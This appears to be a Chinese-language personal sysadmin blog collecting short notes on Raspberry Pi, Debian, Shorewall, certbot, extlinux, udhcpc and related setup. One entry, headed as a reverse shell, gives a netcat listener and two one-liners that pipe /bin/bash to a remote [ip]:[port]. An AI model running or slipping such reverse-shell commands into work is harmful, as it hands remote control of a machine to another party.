2021年2月20日 星期六

ipxe筆記

 module 載入檔案大小為 0,無法正常執行

2021年2月17日 星期三

shorewall dnat 錯誤訊息

shorewall DNAT錯誤訊息
Preparing iptables-restore input...
Running /sbin/iptables-restore --wait 60...
iptables-restore v1.8.5 (legacy): unknown option "--to-destination"
Error occurred at line: 35
Try `iptables-restore -h' or 'iptables-restore --help' for more information.
   ERROR: iptables-restore Failed. Input is in /var/lib/shorewall/.iptables-restore-input
Terminated

解決方法
重新開機

2021年2月14日 星期日

Raspberry pi 自動登入更改帳號

修改
/etc/systemd/system/getty@tty1.service.d/autologin.conf

Raspberry pi USB 自動掛載

安裝軟體
apt install usbmount -y
 
修改 /lib/systemd/system/systemd-udevd.service
[Service]
PrivateMounts=no
 
執行
systemctl daemon-reload
systemctl restart systemd-udevd

2021年2月8日 星期一

Raspberry Geekworm 2.2 LCD 設定摘要

LCD 驅動程式
sudo rpi-update
wget https://raw.githubusercontent.com/geekworm-com/22LCD-script/master/screen_setup.sh
chmod +x screen_setup.sh
sudo ./screen_setup.sh

How to turn on/off backlight
sudo rpi-update
sudo apt-get install gcc python-pygame python-dev
sudo wget https://pypi.python.org/packages/source/R/RPi.GPIO/RPi.GPIO-0.5.11.tar.gz
sudo tar zxvf RPi.GPIO-0.5.11.tar.gz
cd RPi.GPIO-0.5.11
sudo python setup.py install

gpio -g mode 27 in
gpio -g mode 27 out

按鈕驅動
sudo apt-get update
sudo apt-get install libudev-dev
sudo apt-get install python-pip
sudo pip install rpi.gpio
sudo pip install python-uinput
sudo modprobe uinput
wget https://raspberrypiwiki.com/File:Python-keys.zip

參考文件
https://raspberrypiwiki.com/2.2_LCD
gpio readall
gpio -v

extlinux 安裝摘要

apt install -y extlinux

mkfs.ext4 /dev/sdx
mount /dev/sdx /mnt
mkdir -p /mnt/boot

dd if=/usr/lib/EXTLINUX/mbr.bin
extlinux -i /mnt/boot

cat <<EOF >/mnt/boot/extlinux.conf
default test
prompt 1
timeout 300

LABEL test
    MENU Test entry
    LINUX vmlinuz
    APPEND initrd=initrd.img
EOF

Debian 10 nginx + Let's Encrypt

安裝相關軟體
apt-get install python-certbot-nginx

設定憑證
certbot --authenticator webroot --installer nginx

更新憑證
certbot renew --dry-run

更新email
certbot update_account --email new_email@example.com

相關檔案
/etc/letsencrypt/

Raspberry pi Danetd錯誤 訊息 danted.service: Failed at step NAMESPACE spawning

編輯 /lib/systemd/system/danted.service
修改 ReadOnlyDirectories=/bin /etc /lib /lib64 /sbin /usr /var
為 ReadOnlyDirectories=/bin /etc /lib -/lib64 /sbin /usr /var

重新執行
systemctl daemon-reload
/etc/init.d/danted start

Proxmox VE 6.x WARNING: Device /dev/dm-x not initialized in udev database even after waiting 10000000 microseconds.

WARNING: Device /dev/dm-x not initialized in udev database even after waiting 10000000 microseconds.

執行以下指令
udevadm trigger

2021年2月5日 星期五

shell 反向連接

控制端
nc -lvp [port]

受控端
a. nc [ip] [port] -e /bin/bash
b. bash -i >/dev/tcp/[ip]/[port] 0>&1 2>&2

2021年2月4日 星期四

Busybox udhcpc 使用方法

#使用方法
udhcpc -i eth1 -p /var/run/udhcpc.pid -S -s /bin/udhcpc.sh 

更新租約(renew DHCP lease)
kill -SIGUSR1 `cat /var/run/udhcpc.pid`

釋放租約(release current release)
kill -SIGUSR2 `cat /var/run/udhcpc.pid`

#udhcpc.sh 內容
#!/bin/sh
[ -z "$interface" ]&&exit 0;
[ -z "${ip}" ]&&exit 0;
ip addr add ${ip}/${subnet} dev ${interface};
ip route add default via ${router};x='';
mkdir /etc;
for i in $dns;do x="${x}\nnameserver ${i}";done;
echo -e "${x}" >/etc/resolv.conf;set >> /etc/leases;
exit 0;

2021年2月3日 星期三

Lenovo x200 Debian 10 驅動 wifi

1.將 non-free 加入 apt sources 中 (/etc/apt/sources.list)

2.apt update && apt install firmware-iwlwifi

3.modprobe -r iwlwifi ; modprobe iwlwifi

相關指令:
lspci|grep Wire
dmesg|grep wifi